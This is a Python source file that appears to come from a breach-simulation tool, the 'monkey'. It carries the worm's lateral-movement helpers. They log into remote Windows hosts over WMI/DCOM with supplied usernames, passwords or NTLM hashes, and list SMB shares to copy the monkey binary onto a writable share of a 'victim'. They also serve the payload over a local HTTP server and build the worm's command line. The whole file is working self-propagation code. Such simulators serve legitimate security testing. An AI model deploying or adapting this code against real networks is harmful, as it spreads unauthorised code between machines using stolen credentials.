import os
import ntpath
import pprint
import logging
import os.path
import urllib
import monkeyfs
from difflib import get_close_matches
from network import local_ips
from transport import HTTPServer
from network.info import get_free_tcp_port
from network.firewall import app as firewall
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL


class DceRpcException(Exception):
    pass

__author__ = 'itamar'

LOG = logging.getLogger(__name__)


class AccessDeniedException(Exception):
    def __init__(self, host, username, password, domain):
        super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
                                                    (host, domain, username, password))


class WmiTools(object):
    class WmiConnection(object):
        def __init__(self):
            self._dcom = None
            self._iWbemServices = None

        @property
        def connected(self):
            return self._dcom is not None

        def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
            if not domain:
                domain = host.ip_addr

            dcom = DCOMConnection(host.ip_addr,
                                  username=username,
                                  password=password,
                                  domain=domain,
                                  lmhash=lmhash,
                                  nthash=nthash,
                                  oxidResolver=True)

            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                     wmi.IID_IWbemLevel1Login)
            except Exception, exc:
                dcom.disconnect()

                if "rpc_s_access_denied" == exc.message:
                    raise AccessDeniedException(host, username, password, domain)

                raise

            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)

            try:
                self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                self._dcom = dcom
            except:
                dcom.disconnect()

                raise
            finally:
                iWbemLevel1Login.RemRelease()

        def close(self):
            assert self.connected, "WmiConnection isn't connected"

            self._iWbemServices.RemRelease()
            self._iWbemServices = None

            self._dcom.disconnect()
            self._dcom = None

    @staticmethod
    def dcom_wrap(func):
        def _wrapper(*args, **kwarg):
            try:
                return func(*args, **kwarg)
            finally:
                WmiTools.dcom_cleanup()

        return _wrapper

    @staticmethod
    def dcom_cleanup():
        for port_map in DCOMConnection.PORTMAPS.keys():
            del DCOMConnection.PORTMAPS[port_map]
        for oid_set in DCOMConnection.OID_SET.keys():
            del DCOMConnection.OID_SET[port_map]

        DCOMConnection.OID_SET = {}
        DCOMConnection.PORTMAPS = {}
        if DCOMConnection.PINGTIMER:
            DCOMConnection.PINGTIMER.cancel()
            DCOMConnection.PINGTIMER.join()
            DCOMConnection.PINGTIMER = None


    @staticmethod
    def get_object(wmi_connection, object_name):
        assert isinstance(wmi_connection, WmiTools.WmiConnection)
        assert wmi_connection.connected, "WmiConnection isn't connected"

        return wmi_connection._iWbemServices.GetObject(object_name)[0]

    @staticmethod
    def list_object(wmi_connection, object_name, fields=None, where=None):
        assert isinstance(wmi_connection, WmiTools.WmiConnection)
        assert wmi_connection.connected, "WmiConnection isn't connected"

        if fields:
            fields_query = ",".join(fields)
        else:
            fields_query = "*"

        wql_query = "SELECT %s FROM %s" % (fields_query, object_name)

        if where:
            wql_query += " WHERE %s" % (where, )

        LOG.debug("Execution WQL query: %r", wql_query)

        iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)

        query = []
        try:
            while True:
                try:
                    next_item = iEnumWbemClassObject.Next(0xffffffff,1)[0]
                    record = next_item.getProperties()

                    if not fields:
                        fields = record.keys()

                    query_record = {}
                    for key in fields:
                        query_record[key] = record[key]['value']

                    query.append(query_record)
                except DCERPCSessionError, exc:
                    if 1 == exc.error_code:
                        break

                    raise
        finally:
            iEnumWbemClassObject.RemRelease()

        return query

class SmbTools(object):
    @staticmethod
    def copy_file(host, username, password, src_path, dst_path):
        assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )

        config = __import__('config').WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
                      host, username, password)

            try: smb.logoff()
            except: pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception, exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
                'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
                'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
                'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
                'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
                'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}

        LOG.debug("Connected to %r using %s:\n%s",
                  host, dialect, pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception, exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
                          share_name, host)
                continue
            elif not share_path:
                LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
                          share_name, host)
                continue

            share_info = {'share_name': share_name,
                          'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )

            low_priority_shares += ((ntpath.sep + file_name, share_info), )

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception, exc:
                LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue

            LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                      share_name, share_path, remote_path, host)

            remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug("Remote monkey file is same as source, skipping copy")
                            return None

                        LOG.debug("Remote monkey file is found but different, moving along with attack")
                except:
                    pass # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                         src_path, share_name, share_path, host)

                break
            except Exception, exc:
                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue
            finally:
                try: smb.logoff()
                except: pass

                smb = None

        if not file_uploaded:
            LOG.debug("Couldn't find a writable share for exploiting"
                      " victim %r with username %s and password '%s'",
                      host, username, password)
            return None

        return remote_full_path

    @staticmethod
    def new_smb_connection(host, username, password):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception, exc:
            LOG.debug("SMB connection to %r on port 445 failed,"
                      " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
            except Exception, exc:
                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                          host, exc)
                return None, None

        dialect = {SMB_DIALECT: "SMBv1",
                   SMB2_DIALECT_002: "SMBv2.0",
                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, domain=host.ip_addr)
        except Exception, exc:
            LOG.debug("Error while loging into %r using user %s and password '%s': %s",
                      host, username, password, exc)
            return None, dialect

        return smb, dialect

    @staticmethod
    def execute_rpc_call(smb, rpc_func, *args):
        dce = SmbTools.get_dce_bind(smb)
        rpc_method_wrapper = getattr(srvs, rpc_func, None)
        if not rpc_method_wrapper:
            raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))

        return rpc_method_wrapper(dce, *args)

    @staticmethod
    def get_dce_bind(smb):
        rpctransport = transport.SMBTransport(smb.getRemoteHost(),
                                              smb.getRemoteHost(),
                                              filename=r'\srvsvc',
                                              smb_connection=smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)

        return dce


class HTTPTools(object):
    @staticmethod
    def create_transfer(host, src_path, local_ip=None, local_port=None):
        if not local_port:
            local_port = get_free_tcp_port()

        if not local_ip:
            local_ip = get_close_matches(host.ip_addr, local_ips())[0]

        if not firewall.listen_allowed():
            return None, None

        httpd = HTTPServer(local_ip, local_port, src_path)
        httpd.daemon = True
        httpd.start()

        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

        
def get_target_monkey(host):
    from control import ControlClient
    import platform
    import sys
    
    if host.monkey_exe:
        return host.monkey_exe

    if not host.os.get('type'):
        return None

    monkey_path = ControlClient.download_monkey_exe(host)

    if host.os.get('machine') and monkey_path:
        host.monkey_exe = monkey_path    

    if not monkey_path:
        if host.os.get('type') == platform.system().lower():
            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
            if (not host.os.get('machine') and sys.maxsize < 2**32) or \
                            host.os.get('machine','').lower() == platform.machine().lower():
                monkey_path = sys.executable
            
    return monkey_path


def build_monkey_commandline(target_host, depth):
    from config import WormConfiguration, GUID

    cmdline = ""
    cmdline += " -p " + GUID

    if target_host.default_tunnel:
        cmdline += " -t " + target_host.default_tunnel
    if target_host.default_server:
        cmdline += " -s " + target_host.default_server
    if depth < 0:
        depth = 0

    cmdline += " -d %d" % depth

    return cmdline